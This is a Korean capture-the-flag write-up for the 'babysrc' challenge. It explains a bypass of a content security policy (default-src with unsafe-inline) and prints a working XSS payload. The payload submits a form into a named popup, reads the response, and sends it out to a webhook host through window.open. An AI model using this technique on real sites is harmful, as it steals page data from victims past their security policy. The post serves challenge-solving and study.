CTF Writeup

babysrc - CSP default-src, unsafe-inline bypass

LittleDev0617 2023. 11. 27. 10:41

2023.11.25 - Incognito 2023 CTF - babysrc

 
단순 XSS 문제인데 다음의 조건이 있따.
1. CSP - default-src, unsafe-inline
2. xss 로 post(/flag) -> res -> get(hook)
 
unsafe-inline 이 허용되어서 script 태그처럼 js 코드를 실행시킬 수는 있는데, default-src 에 connect-src 가 포함되어 있어서 fetch, xhr 등으로 /flag 나 웹훅 사이트에 리퀘를 못 날린다.
 
다른 CTF 에서도 이러한 유형의 문제를 만나고 해결하지 못한 경험이 많은데 이번에 해결하였다
 
window.open 으로 원하는 주소에 접근할 수 있고 이는 CSP 에 걸리지 않아 이것을 이용하면 된다.

<form name ="a" target="a" action="http://localhost:8000/flag" method="POST">
    <input name="admin" value="zzlol" />
</form>

<script>
    	var url = "http://localhost:8000/flag";
        popup = window.open("", "a", {});
        
        var myForm = document.a;
        myForm.submit();

        setTimeout(function() {
            html = popup.document.documentElement.outerHTML;
            console.log(html);
            window.open("https://ohhloxh.request.dreamhack.games/" + html, "asdf", {});
        }, 1000);
</script>

 
특이한 것은 POST 리퀘를 바디 포함해서 window.open 으로 보낼 수 있다는 것이었다.
form 을 만들어두고 해당 form 의 target 을 특정 id 로 설정한다. (여기서는 a)
이후 window.open 을 빈 주소와 'a' 이름으로 열고 form 을 제출하면 해당 window document의 body 에 response가 담긴다.
마지막으로 response 를 읽어와서 다시 window open 으로 웹훅사이트에 보낸다.
 

'CTF Writeup' 카테고리의 다른 글

2023 Layer7 CTF Writeup  (1) 2023.12.03
seeds - python bytes, int seed trick  (0) 2023.11.27
freeboard - php blind error based sqli  (1) 2023.11.27
hdrive - tar symbolic link attack  (1) 2023.11.27
safe-compiler / C jail Trick  (1) 2023.11.27